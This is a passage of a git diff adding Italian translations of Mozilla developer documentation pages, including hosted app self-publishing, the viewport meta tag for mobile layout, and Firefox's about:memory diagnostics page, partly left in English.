+<p>Per informazioni più dettagliate sui contenuti dei manifesti leggere <a href="/en-US/Apps/Build/Manifest" title="Documentazione sul manifesto">App manifest</a>.</p>
+
+<h2 id="App_remote_autopubblicate">App remote autopubblicate</h2>
+
+<p>Rispetto a quello per le app locali, il processo di autopubblicazione di un'app remota (hosted) è più diretto: basta creare i contenuti con lo stesso metodo utilizzato per la pubblicazione su Firefox Marketplace. In pratica occorre creare il <a href="/en-US/Apps/Build/Manifest" title="Documentazione sul manifesto">file manifest</a> dell'app. In seguito si aggiunge il codice per richiamare {{ domxref("Apps.install") }}. Il codice è essenzialmente lo stesso che si utilizza per le app locali, mostrato precedentemente, con la sola differenza che è anche possibile utilizzare un riferimento relativo alla posizione del file manifest.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/JavaScript_API">App Installation and Management APIs</a></li>
+ <li>{{ domxref("Apps.install") }}</li>
+ <li>{{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }}</li>
+ <li><a href="/en-US/Apps/Build/Manifest" title="Documentazione sul manifesto">App manifest</a></li>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions</a></li>
+</ul>
diff --git a/files/it/mozilla/marketplace/publishing/submit/index.html b/files/it/mozilla/marketplace/publishing/submit/index.html
new file mode 100644
index 0000000000..265a1ad776
--- /dev/null
+++ b/files/it/mozilla/marketplace/publishing/submit/index.html
@@ -0,0 +1,10 @@
+---
+title: Submit
+slug: Mozilla/Marketplace/Publishing/Submit
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Publishing/Submit
+---
+<p>This section describes the process for submitting an app to Firefox Marketplace</p>
+<p>Residual details: <a href="/en-US/Marketplace/Publishing/Submit/Submitting_an_app">https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Submitting_an_app</a></p>
diff --git a/files/it/mozilla/mobile/index.html b/files/it/mozilla/mobile/index.html
new file mode 100644
index 0000000000..f406d8be3a
--- /dev/null
+++ b/files/it/mozilla/mobile/index.html
@@ -0,0 +1,28 @@
+---
+title: Mobile
+slug: Mozilla/Mobile
+tags:
+  - HTML
+  - HTTP
+  - JavaScript
+  - Mobile
+  - Mozilla
+translation_of: Mozilla/Mobile
+---
+<h2 id="Firefox_OS" name="Firefox_OS"><a href="/en-US/docs/Archive/B2G_OS">Firefox OS</a></h2>
+
+<p>Firefox OS è un sistema operativo mobile Open Source che utilizza Linux e Mozilla con il motore Gecko per eseguire una interfaccia utente e un insieme di applicazioni scritte interamente in HTML, CSS e javaScript</p>
+
+<p>Leggi come installare Firefox OS e come sviluppare applicazioni per esso.</p>
+
+<h2 id="Firefox_for_Android" name="Firefox_for_Android"><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox per Android</a></h2>
+
+<p>Firefox per Android è il browser web mobile di Mozilla per i dispositivi Android. E' stato recentemente riscritto per poter utilizzare un'interfaccia utente nativa di Android, rendendolo più veloce, più snello e reattivo. Fornisce supporto per le più potenti API per accedere alle funzionalità del dispositivo, come la macchina fotografica e la chiamata telefonica.</p>
+
+<p>Leggi come contribuire al creare Firefox per Android, come utilizzare le sue API e come contribuire a creare componenti aggiunti.</p>
+
+<h2 id="Mobile_web_development" name="Mobile_web_development"><a href="/en-US/docs/Web/Guide/Mobile">Sviluppo web sul mobile</a></h2>
+
+<p>I dispositivi mobili solo molto diversi per quanto riguarda le caratteristiche hardware da un Desktop o laptot, e molte delle API utilizzate per lavorare con tutti gli ambienti sono ancora in corso di standardizzazione.</p>
+
+<p>Leggi come sviluppare siti web ottimali per i dispositivi mobili e sfruttare le nuove possibilità che tali offrono. Impara a creare il tuo sito web su diversi dispositivi e browser.</p>
diff --git a/files/it/mozilla/mobile/viewport_meta_tag/index.html b/files/it/mozilla/mobile/viewport_meta_tag/index.html
new file mode 100644
index 0000000000..5e6617d215
--- /dev/null
+++ b/files/it/mozilla/mobile/viewport_meta_tag/index.html
@@ -0,0 +1,94 @@
+---
+title: Usare il viewport meta tag per controllare il layout nei browser su mobile
+slug: Mozilla/Mobile/Viewport_meta_tag
+tags:
+  - Layout
+  - Mobile
+translation_of: Mozilla/Mobile/Viewport_meta_tag
+---
+<h2 id="Background">Background</h2>
+
+<p>La “{{glossary("viewport")}}” di un browser è l'area della finestra in cui si può vedere il contenuto di una pagina web. Spesso, questa non ha la stessa dimensione della pagina intera, in questo caso i browser mostrano delle barre di scorrimento (<em>scrollbar</em>) per permettere all'utente di scorrere in ogni direzione e usufruire di tutti i contenuti.</p>
+
+<p>Gli schermi di dispsitivi stretti (come i telefoni) renderizzano le pagine in una finestra virtuale, o “viewport”, che solitamente è più larga dello schermo, e successivamente stringono il risultato già renderizzato in modo che possa essere visto interamente. Gli utenti possono dunque spostarsi e ingrandire per vedere aree differenti della pagina. Per esempio, se lo schermo di uno smartphone ha una larghezza di 640 pixel, le pagine potrebbero essere renderizzate con una finestra virtuale di 980 pixel, e successivamente ristrette per stare nello spazio di 640 pixel.</p>
+
+<p>Questo avviene perché molte pagine non sono ottimizzate per dispositivi mobili (o almeno, appaiono peggio) quando renderizzati a una minore larghezza rispetto alla finestra virtuale. La “viewport” è un modo per rendere siti non ottimizzati per la visualizzazione da mobile per apparire in modo migliore su schermi stretti.</p>
+
+<h3 id="Enter_viewport_meta_tag">Enter viewport meta tag</h3>
+
+<p>However, this mechanism is not so good for pages that are optimized for narrow screens using <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> — if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques.</p>
+
+<p>To mitigate this problem, Apple introduced the "viewport meta tag" in Safari iOS to let web developers control the viewport's size and scale. Many other mobile browsers now support this tag, although it is not part of any web standard. Apple's <a class="external" href="https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html">documentation</a> does a good job explaining how web developers can use this tag, but we had to do some detective work to figure out exactly how to implement it in Fennec. For example, Safari's documentation says the content is a "comma-delimited list," but existing browsers and web pages use any mix of commas, semicolons, and spaces as separators.</p>
+
+<p>Learn more about viewports in different mobile browsers in <a class="external" href="http://www.quirksmode.org/mobile/viewports2.html" title="http://www.quirksmode.org/mobile/viewports2.html">A Tale of Two Viewports</a> at quirksmode.org.</p>
+
+<h2 id="Viewport_basics">Viewport basics</h2>
+
+<p>A typical mobile-optimized site contains something like the following:</p>
+
+<pre>&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;</pre>
+
+<p>The <code>width</code> property controls the size of the viewport. It can be set to a specific number of pixels like <code>width=600</code> or to the special value <code>device-width</code>, which is the width of the screen in CSS pixels at a scale of 100%. (There are corresponding <code>height</code> and <code>device-height</code> values, which may be useful for pages with elements that change size or position based on the viewport height.)</p>
+
+<p>The <code>initial-scale</code> property controls the zoom level when the page is first loaded. The <code>maximum-scale</code>, <code>minimum-scale</code>, and <code>user-scalable</code> properties control how users are allowed to zoom the page in or out.</p>
+
+<div class="blockIndicator warning">
+<p>Usage of <code>user-scalable=no</code> can cause accessibility issues to users with visual impairements such as low vision.</p>
+</div>
+
+<h2 id="A_pixel_is_not_a_pixel">A pixel is not a pixel</h2>
+
+<p>In recent years, screen resolutions have risen to the size that individual pixels are hard to distinguish with the human eye. For example, recent smartphones generally have a 5-inch screens with resolutions upwards of 1920—1080 pixels (~400 dpi). Because of this, many browsers can display their pages in a smaller physical size by translating multiple hardware pixels for each CSS "pixel". Initially this caused usability and readability problems on many touch-optimized web sites. Peter-Paul Koch wrote about this problem in <a class="external" href="http://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html">A pixel is not a pixel</a>.</p>
+
+<p>On high dpi screens, pages with <code>initial-scale=1</code> will effectively be zoomed by browsers. Their text will be smooth and crisp, but their bitmap images will probably not take advantage of the full screen resolution. To get sharper images on these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using CSS or viewport properties. This is consistent with the <a class="external" href="http://www.w3.org/TR/CSS2/syndata.html#length-units">CSS 2.1 specification</a>, which says:</p>
+
+<blockquote>
+<p>If the pixel density of the output device is very different from that of a typical computer display, the user agent should rescale pixel values. It is recommended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel. It is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length.</p>
+</blockquote>
+
+<p>For web developers, this means that the size of a page is much smaller than the actual pixel count and browsers may size their layouts and images accordingly. But remember that not all mobile devices are the same width; you should make sure that your pages work well in a large variation of screen sizes and orientations.</p>
+
+<p>The default pixel ratio depends on the display density. On a display with density less than 200dpi, the ratio is 1.0. On displays with density between 200 and 300dpi, the ratio is 1.5. For displays with density over 300dpi, the ratio is the integer floor(<em>density</em>/150dpi). Note that the default ratio is true only when the viewport scale equals 1. Otherwise, the relationship between CSS pixels and device pixels depends on the current zoom level.</p>
+
+<h2 id="Viewport_width_and_screen_width">Viewport width and screen width</h2>
+
+<p>Sites can set their viewport to a specific size. For example, the definition <code>"width=320, initial-scale=1"</code> can be used to fit precisely onto a small phone display in portrait mode. This can cause <a class="external" href="http://starkravingfinkle.org/blog/2010/01/perils-of-the-viewport-meta-tag/">problems</a> when the browser doesn't render a page at a larger size. To fix this, browsers will expand the viewport width if necessary to fill the screen at the requested scale. This is especially useful on large-screen devices like the iPad. (Allen Pike's <a class="external" href="http://www.antipode.ca/2010/choosing-a-viewport-for-ipad-sites/">Choosing a viewport for iPad sites</a> has a good explanation for web developers.)</p>
+
+<p>For pages that set an initial or maximum scale, this means the <code>width</code> property actually translates into a <em>minimum</em> viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen:</p>
+
+<pre>&lt;meta name="viewport" content="width=500, initial-scale=1"&gt;</pre>
+
+<p>Other <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta#Attributes">attributes</a> that are available are <code>minimum-scale</code>, <code>maximum-scale</code>, and <code>user-scalable</code>. These properties affect the initial scale and width, as well as limiting changes in zoom level.</p>
+
+<p>Not all mobile browsers handle orientation changes in the same way. For example, Mobile Safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. If web developers want their scale settings to remain consistent when switching orientations on the iPhone, they must add a <code>maximum-scale</code> value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in:</p>
+
+<pre>&lt;meta name="viewport" content="initial-scale=1, maximum-scale=1"&gt;</pre>
+
+<p>Suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86. The result is horizontal scroll is suppressed in any orientation and the user can zoom in if they want to.</p>
+
+<pre>&lt;meta name="viewport" content="width=device-width, initial-scale=0.86, maximum-scale=3.0, minimum-scale=0.86"&gt;</pre>
+
+<h2 id="Common_viewport_sizes_for_mobile_and_tablet_devices">Common viewport sizes for mobile and tablet devices</h2>
+
+<p>If you want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of <a href="https://docs.adobe.com/content/help/en/target/using/experiences/vec/mobile-viewports.html" title="https://viewportsizer.com/">mobile and tablet viewport sizes here</a>. This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Non-normatively describes the Viewport META element</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>There is clearly demand for the viewport meta tag, since it is supported by most popular mobile browsers and used by thousands of web sites. It would be good to have a true standard for web pages to control viewport properties. As the standardization process proceeds, we at Mozilla will work to keep up to date with any changes.</p>
diff --git a/files/it/mozilla/performance/about_colon_memory/index.html b/files/it/mozilla/performance/about_colon_memory/index.html
new file mode 100644
index 0000000000..b3d0e3c732
--- /dev/null
+++ b/files/it/mozilla/performance/about_colon_memory/index.html
@@ -0,0 +1,188 @@
+---
+title: 'about:memory'
+slug: 'Mozilla/Performance/about:memory'
+tags:
+  - Performance
+  - diagnosi
+  - memoria
+  - registro
+  - resoconto
+translation_of: 'Mozilla/Performance/about:memory'
+---
+<p>about:memory è una pagina speciale all'interno di Firefox che ti permette di vedere, salvare, caricare e differenziare misure dettagliate sull'uso di memoria di Firefox. Ti permette anche di fare altre operazioni legate alla memoria come attivare i GC, CC; scaricare registri GC e CC; e scaricare resoconti DMD.</p>
+
+<h2 id="Come_generare_registri_di_memoria">Come generare registri di memoria</h2>
+
+<p>Mettiamo che vuoi misurare l'uso di memoria di Firefox. Forse vorrai analizzarlo tu stesso, o forse qualcuno ti ha chiesto di usare about:memory per generare "registri di memoria" in modo che possano analizzare il problema che stai avendo. Segui questi passaggi.</p>
+
+<ul>
+ <li>Al momento d'interesse (Es. una volta che l'uso di memoria di Firefoz risulta alto) apri un nuovo pannello e scrivi "about:memory" nella barra degli indirizzi e premi "invio".</li>
+ <li>Se stai usando un canale di comunicazione dove possono essere inviati file, come bugzilla o un'e-mail, clicca sul pulsante "Measure and save...". Questo aprirà una finestra di dialogo che ti permetterà di salvare i registri di memoria su un file di tua scelta. (il nome del file dovrà avere il suffisso <code>.json.gz</code>). Dopo puoi allegare o caricare il file. I destinatari saranno in grado di vedere i contenuti di questo file all'interno di about:memory nella loro finestra di Firefox.</li>
+ <li>Se stai usando un canale di comunicazione dove può solo essere mandato del testo, come una sezione commenti di un sito, clicca sul pulsante "Measure..."- Questo farà in modo che venga generata una struttura ad albero all'interno di about:memory. Questa struttura è solo testo, quindi puoi copiarla e incollare parte o tutto il testo in qualsiasi buffer di testo. (Non devi per forza fare un'istantanea). Questo testo contiene meno misure di un file, ma è spesso abbastanza per diagnosticare problemi.</li>
+</ul>
+
+<p>Nota che in entrambi i casi i dati generati contengono dati sensibili come una lista completa delle pagine web che hai aperte in altri pannelli. Se non desideri condividere queste informazioni, puoi scegliere la spunta "anonymize" prima di premere su "Measure and save..." o "Measure...". Questo fara in modo che i dati sensibili vengano rimossi, ma renderà anche più difficile per gli altri investigare l'uso di memoria.</p>
+
+<h2 id="Caricare_registri_di_memoria_da_file">Caricare registri di memoria da file</h2>
+
+<p>Il modo più facile di caricare registri di memoria da file è usare il pulsante "Load...". Puoi anche usare il pulsante "Load and diff..." per avere la differenza tra due file di registro.</p>
+
+<p>I file di registro singoli possono essere caricati automaticamente quando about:memory viene caricato aggiungendo una stringa di ricerca file, per esempio:</p>
+
+<pre>about:memory?file=/home/username/reports.json.gz
+</pre>
+
+<p>Questa è maggiormente utile quando carichi registri di memoria ottenuti da un dispositivo con S. O. firefox</p>
+
+<p>I registri di memoria vengono salvati come file JSON gzipped. Questi file possono venire caricati per come sono, ma possono anche venire caricati dopo essere stati estratti.</p>
+
+<h2 id="Interpretare_i_registri_di_memoria.">Interpretare i registri di memoria.</h2>
+
+<p>Quasi tutto quello che vedi in about:memory ha un suggerimento esplicativo. Passa sopra un qualsiasi pulsante per vedere una descrizione di cosa fa. Passa sopra una qualsiasi misura per vedere una descrizione di cosa significa.</p>
+
+<h3 id="Informazioni_fondamentali_sulle_misure."><span class="mw-headline" id="Basics">Informazioni fondamentali sulle misure.</span></h3>
+
+<p>Molte misure usano i byte come unita, ma alcune sono somme o percentuali.</p>
+
+<p>Molte misure sono presentate all'interno di alberi. Ad esempio:</p>
+
+<pre> 585 (100.0%) -- preference-service
+ └──585 (100.0%) -- referent
+    ├──493 (84.27%) ── strong
+    └───92 (15.73%) -- weak
+        ├──92 (15.73%) ── alive
+        └───0 (00.00%) ── dead
+</pre>
+
+<p>I nodi a foglia rappresentano effettive misure; il valore di ogni nodo interno è la somma dei suoi children.</p>
+
+<p>L'uso degli alberi permette alle misure di essere divide in ulteriori categorie, sotto-categorie, sotto-sotto-categorie, ecc., fin dove serve. Tutte le misure all'interno di un singolo albero non si soprappongono.</p>
+
+<p>Possono venire aggiunti percorsi usando "/" come separatore. Per esempio, <code>preference/referent/weak/dead </code>rappresenta il rpercorso  che va all'ultimo nodo a foglia nell'esempio qua sopra. </p>
+
+<p>I sotto-alberi possono venire ristretti o allargati cliccandoci sopra. Se trovi un qualsiasi albero in particolare troppo grande da gestire, può essere utile restringere i sotto-alberi immediatamente sotto la radice e poi allargare graduatamente i sotto-alberi d'interesse.</p>
+
+<h3 id="Sezioni"><span class="mw-headline" id="Sections">Sezioni</span></h3>
+
+<p>Molti registri di memoria sono mostrati in base al processo, con un processo per sezione. All'interno delle misure di ogni processo, ci sono le seguenti sottosezioni.</p>
+
+<h4 id="Allocazioni_esplicite">Allocazioni esplicite</h4>
+
+<p>Questa sezione contiene un singolo albero, chiamato "explicit", che misure tutta la memoria allocata attraverso chiamate esplicite alle funzioni di allocazione di tipo heap (come <code>malloc</code> e <code>new</code>) e alle funzioni di allocazione non-heap (come <code>mmap</code> e <code>VirtualAlloc</code>).</p>
+
+<p>Qui c'è un esempio di una sessione di un browser dove i pannelli erano aperti su cnn.com, techcrunch.con e artechnica.com. Vari sotto-alberi sono stati allargati ed altri ristretti per presentare il tutto meglio.</p>
+
+<pre>191.89 MB (100.0%) -- explicit
+├───63.15 MB (32.91%) -- window-objects
+│   ├──24.57 MB (12.80%) -- top(http://edition.cnn.com/, id=8)
+│   │  ├──20.18 MB (10.52%) -- active
+│   │  │  ├──10.57 MB (05.51%) -- window(http://edition.cnn.com/)
+│   │  │  │  ├───4.55 MB (02.37%) ++ js-compartment(http://edition.cnn.com/)
+│   │  │  │  ├───2.60 MB (01.36%) ++ layout
+│   │  │  │  ├───1.94 MB (01.01%) ── style-sheets
+│   │  │  │  └───1.48 MB (00.77%) -- (2 tiny)
+│   │  │  │      ├──1.43 MB (00.75%) ++ dom
+│   │  │  │      └──0.05 MB (00.02%) ── property-tables
+│   │  │  └───9.61 MB (05.01%) ++ (18 tiny)
+│   │  └───4.39 MB (02.29%) -- js-zone(0x7f69425b5800)
+│   ├──15.75 MB (08.21%) ++ top(http://techcrunch.com/, id=20)
+│   ├──12.85 MB (06.69%) ++ top(http://arstechnica.com/, id=14)
+│   ├───6.40 MB (03.33%) ++ top(chrome://browser/content/browser.xul, id=3)
+│   └───3.59 MB (01.87%) ++ (4 tiny)
+├───45.74 MB (23.84%) ++ js-non-window
+├───33.73 MB (17.58%) ── heap-unclassified
+├───22.51 MB (11.73%) ++ heap-overhead
+├────6.62 MB (03.45%) ++ images
+├────5.82 MB (03.03%) ++ workers/workers(chrome)
+├────5.36 MB (02.80%) ++ (16 tiny)
+├────4.07 MB (02.12%) ++ storage
+├────2.74 MB (01.43%) ++ startup-cache
+└────2.16 MB (01.12%) ++ xpconnect</pre>
+
+<p>Per capire i dettagli completi è richiesta della competenza, ma ci sono varie cose che vale la pena di segnalare.</p>
+
+<ul>
+ <li>Questo valore "explicit" alla radice dell'albero rappresenta tutta la memoria allocata attraverso chiamate esplicite alle funzioni di allocazione.</li>
+ <li> Il sotto-albero "window-objects" rappresenta tutti gli oggetti Javascript  <code>window</code>, il che inclide i pannelli del browser e le finestre dell'interfaccia. Per esempio, il sotto-albero "top(http://edition.cnn.com/, id=8)" rappresenta il pannello aperto su cnn.com e "top(chrome://browser/content/browser.xul, id=3)" rappresenta la finestra dell'interfaccia principale del browser.</li>
+ <li>All'interno delle misure di ogni finestra ci sono sotto-alberi per il Javascript ("js-compartment(...)" e "js-zone(...)"); layout, sfogli di stile, il DOM e altre cose.</li>
+ <li>È chiaro che il pannello cnn.com sta usando più memoria del pannello techcrunch.com, che ne sta usando più del pannello arstechnica.com.</li>
+ <li> I sotto-alberi con nomi come "(2 tiny)" sono nodi artificiali inseriti per permettere ai sotto-alberi insignificanti di venire ristretti di default. Se selezioni la spunta "verbose" prima di misurare, tutti gli alberi verranno mostrati completamente allargati e non verranno inseriti nodi artificiali.</li>
+ <li>Il sotto-albero "js-non-window" rappresenta l'uso di memoria Javascript che non viene dalle finestre, ma dal nucleo del browser.</li>
+ <li>Il valore "heap-unclassified" rappresenta la memoria allocata di tipo heap  che non è misurata da alcun recettore di memoria. Questo è in genere il 10---20% dell'"explicit". Se diventa più alto, indica che dovrebbero venire aggiunti ulteriori recettori di memoria. Il <a href="/en-US/docs/Mozilla/Performance/DMD" title="Performance/MemShrink/DMD">DMD</a> può essere usato per determinare dove questi recettori di memoria dovrebbero essere aggiunti.</li>
+ <li>Ci sono misure per altri contenuti come immagini e worker, e per i sotto-sistemi del browser come la cache di avvio e XPConnect.</li>
+</ul>
+
+<p>Un po' dell'uso di memoria dei componenti aggiuntivi può venire identificato, come mostra il seguente esempio.</p>
+
+<pre>├───40,214,384 B (04.17%) -- add-ons
+│   ├──21,184,320 B (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([System Principal], jar:file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7Bd10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d%7D.xpi!/bootstrap.js (from: resource://gre/modules/addons/XPIProvider.jsm:4307))
+│   ├──11,583,312 B (01.20%) ++ jid1-xUfzOsOFlzSOXg@jetpack/js-non-window/zones/zone(0x100496800)
+│   ├───5,574,608 B (00.58%) -- {59c81df5-4b7a-477b-912d-4e0fdf64e5f2}
+│   │   ├──5,529,280 B (00.57%) -- window-objects
+│   │   │  ├──4,175,584 B (00.43%) ++ top(chrome://chatzilla/content/chatzilla.xul, id=4293)
+│   │   │  └──1,353,696 B (00.14%) ++ top(chrome://chatzilla/content/output-window.html, id=4298)
+│   │   └─────45,328 B (00.00%) ++ js-non-window/zones/zone(0x100496800)/compartment([System Principal], file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7B59c81df5-4b7a-477b-912d-4e0fdf64e5f2%7D/components/chatzilla-service.js)
+│   └───1,872,144 B (00.19%) ++ treestyletab@piro.sakura.ne.jp/js-non-window/zones/zone(0x100496800)</pre>
+
+<p>Altre cose che vale la pena di far notare sono come segue:</p>
+
+<ul>
+ <li>Alcuni componenti aggiuntivi sono identificati dal nome, come la linguetta Tree Style. Altri sono identificati solo dall'identificatore esadecimale. Puoi guardare su about:support per vedere a quale componente aggiuntivo in particolare appartiene un identificatore. Per esempio, <code>59c81df5-4b7a-477b-912d-4e0fdf64e5f2</code> è Chatzilla.</li>
+ <li>Tutto l'uso di memoria Javascript per un componente aggiuntivo è misuratro separatamente e mostrato in questo sotto-albero.</li>
+ <li>Per i componenti aggiuntivi che usano finestre separate, come Chatzilla, l'uso di memoria di queste finestre verrà mostrato in questo sotto-albero.</li>
+ <li>Per i componenti aggiuntivi che usano overlay XUL, come AdBlockPlus, l'uso di memoria per questi overlay non verrà mostrato in questo sotto-albero; sarà invece nei sotto-alberi che non riguardano gli i componenti aggiuntivi e non sarà identificabile come causato da un componente aggiuntivo.</li>
+</ul>
+
+<h4 id="Altre_misure">Altre misure</h4>
+
+<p>Questa sezione contiene alberi multipli, inclusde molti che si incrociano le misure nell'albero "explicit". Per esempio, nell'albero "explicit" tutti i DOM e le misure dei layout sono divise da finestra a finestra, ma in "Other Measurements" quelle misure sono aggregate in totali per l'intero browser, come mostra il seguente esempio.</p>
+
+<pre>26.77 MB (100.0%) -- window-objects
+├──14.59 MB (54.52%) -- layout
+│  ├───6.22 MB (23.24%) ── style-sets
+│  ├───4.00 MB (14.95%) ── pres-shell
+│  ├───1.79 MB (06.68%) ── frames
+│  ├───0.89 MB (03.33%) ── style-contexts
+│  ├───0.62 MB (02.33%) ── rule-nodes
+│  ├───0.56 MB (02.10%) ── pres-contexts
+│  ├───0.47 MB (01.75%) ── line-boxes
+│  └───0.04 MB (00.14%) ── text-runs
+├───6.53 MB (24.39%) ── style-sheets
+├───5.59 MB (20.89%) -- dom
+│   ├──3.39 MB (12.66%) ── element-nodes
+│   ├──1.56 MB (05.84%) ── text-nodes
+│   ├──0.54 MB (02.03%) ── other
+│   └──0.10 MB (00.36%) ++ (4 tiny)
+└───0.06 MB (00.21%) ── property-tables</pre>
+
+<p>Alcuni degli alberi di questa sezione misurano cose che non si incrociano con le misure dell'albero "explicit", come quelle nell'esempio "preference service" qua sopra.</p>
+
+<p>Per ultimo, alla fine di questa sezione ci sono misure individuali, come mostra l'esempio seguente.</p>
+
+<pre>    0.00 MB ── canvas-2d-pixels
+    5.38 MB ── gfx-surface-xlib
+    0.00 MB ── gfx-textures
+    0.00 MB ── gfx-tiles-waste
+          0 ── ghost-windows
+  109.22 MB ── heap-allocated
+        164 ── heap-chunks
+    1.00 MB ── heap-chunksize
+  114.51 MB ── heap-committed
+  164.00 MB ── heap-mapped
+      4.84% ── heap-overhead-ratio
+          1 ── host-object-urls
+    0.00 MB ── imagelib-surface-cache
+    5.27 MB ── js-main-runtime-temporary-peak
+          0 ── page-faults-hard
+    203,349 ── page-faults-soft
+  274.99 MB ── resident
+  251.47 MB ── resident-unique
+1,103.64 MB ── vsize</pre>
+
+<p>Alcune misure importanti sono come segue.</p>
+
+<ul>
+ <li>"resident". Uso fisico di memoria. Se vuoi una singola misura per riassumere l'uso di memoria, questa è probabilmente la migliore.</li>
+ <li>"vsize". Uso di memoria virtuale. Questa è spesso più alta di qualsiasi altra misura (in particolare su Mac). Ha realmente importanza sulle piattaforme a 32 bit come Win32. C'è anche "vsize-max-contigous" (non misurato su altre piattaforme, e non mostrato in questo esempio), che indica il più grande pezzo di spazio d'indirizzo virtuale disponibile. Se questo numero è basso, è probabile che la le allocazioni di memoria falliranno presto a causa di mancanza di spazio d'indirizzo virtuale.</li>
+ <li> Varie misure legate alla grafica ("gfx-*"). Le misure prese variano da piattaforma a piattaforma. La grafica è spesso fonte di alto uso di memoria e quindi queste misure possono essere utili nell'individuare tali casi.</li>
+</ul>
diff --git a/files/it/mozilla/performance/index.html b/files/it/mozilla/performance/index.html
new file mode 100644
index 0000000000..828fe485be
--- /dev/null
+++ b/files/it/mozilla/performance/index.html
@@ -0,0 +1,143 @@
+---
+title: Performance
+slug: Mozilla/Performance
+tags:
+  - Add-ons
+  - Debugging
+  - Development
+  - Mozilla
+  - NeedsTranslation
+  - Performance
+  - TopicStub
+translation_of: Mozilla/Performance
+---
+<p>The articles linked to from here will help you improve performance, whether you're developing core Mozilla code or an add-on.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentation">Documentation</h3>
+
+    <dl>
+     <dt><a href="/en/Performance/Reporting_a_Performance_Problem" title="en/Performance/Reporting_a_Performance_Problem">Reporting a Performance Problem</a></dt>
+     <dd>A user friendly guide to reporting a performance problem. A development environment is not required.</dd>
+     <dt><a href="Benchmarking" title="Performance/Benchmarking advice">Benchmarking</a></dt>
+     <dd>Tips on generating valid performance metrics.</dd>
+     <dt><a href="/en/Extensions/Performance_best_practices_in_extensions" title="en/Extensions/Performance best practices in extensions">Performance best practices in extensions</a></dt>
+     <dd>A performance "best practices" guide for extension developers.</dd>
+     <dt><a href="/en/Performance/Measuring_add-on_startup_performance" title="en/Measuring Add-on Startup Performance">Measuring Add-on Startup Performance</a></dt>
+     <dd>A guide for add-on developers on how to set up a performance testing environment.</dd>
+     <dt><a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">XUL School: Add-on Performance</a></dt>
+     <dd>Tips for add-on developers to help them avoid impairing application performance.</dd>
+     <dt><a href="/en/Performance/GPU_performance" title="en/GPU performance">GPU performance</a></dt>
+     <dd>Tips for profiling and improving performance when using a GPU.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/ScrollLinkedEffects">Scroll-Linked Effects</a></dt>
+     <dd>Information on scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Automated_Performance_Testing_and_Sheriffing">Automated Performance Testing and Sheriffing</a></dt>
+     <dd>Information on automated performance testing and sheriffing at Mozilla.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a class="internal" href="/Special:Tags?tag=Performance" title="Special:Tags?tag=Performance">View all pages tagged with "Performance"...</a></span></p>
+
+    <h3 id="Memory_profiling_and_leak_detection_tools">Memory profiling and leak detection tools</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Memory" title="en/Performance/Profiling with the Built-in Profiler">The Developer Tools "Memory" panel</a></dt>
+     <dd>The memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Performance/about:memory">about:memory</a></dt>
+     <dd>about:memory is the easiest-to-use tool for measuring memory usage in Mozilla code, and is the best place to start. It also lets you do other memory-related operations like trigger GC and CC, dump GC &amp; CC logs, and dump DMD reports. about:memory is built on top of Firefox's <a href="/en-US/docs/Mozilla/Performance/Memory_reporting">memory reporting</a> infrastructure.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/DMD">DMD</a></dt>
+     <dd>DMD is a tool that identifies shortcomings in about:memory's measurements, and can also do multiple kinds of general heap profiling.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/AWSY">Are We Slim Yet</a></dt>
+     <dd>areweslimyet.com (a.k.a. AWSY) is a memory usage and regression tracker.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/BloatView">BloatView</a></dt>
